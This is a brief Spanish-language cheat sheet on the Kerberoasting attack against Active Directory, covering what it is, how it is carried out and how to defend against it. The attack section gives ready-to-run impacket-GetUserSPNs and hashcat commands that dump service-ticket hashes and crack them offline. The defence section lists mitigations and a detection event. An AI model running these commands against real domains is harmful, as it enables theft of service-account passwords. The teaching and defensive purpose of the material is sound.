Kerberoasting

Qué es

En Kerberos, cualquier usuario del dominio puede pedir un ticket de servicio (TGS) para cualquier cuenta que tenga un SPN (Service Principal Name). Ese ticket va cifrado con la contraseña de la cuenta de servicio. Si la contraseña es débil, se puede crackear offline sin generar más ruido en la red.

Cómo se ataca

Hace falta un usuario del dominio (aunque tenga pocos permisos).

impacket-GetUserSPNs dominio.local/usuario:'Password' -dc-ip <IP-DC> -request -outputfile hashes.txt
hashcat -m 13100 hashes.txt rockyou.txt

• -request pide los tickets de todas las cuentas con SPN.
• El modo 13100 de hashcat corresponde a Kerberos TGS-REP (RC4).

Cómo se defiende

• Contraseñas largas (25+ caracteres) en cuentas de servicio, o mejor, gMSA (se rotan solas).
• Activar cifrado AES y desactivar RC4 donde sea posible.
• Detectar peticiones masivas de TGS (evento 4769) desde un mismo usuario.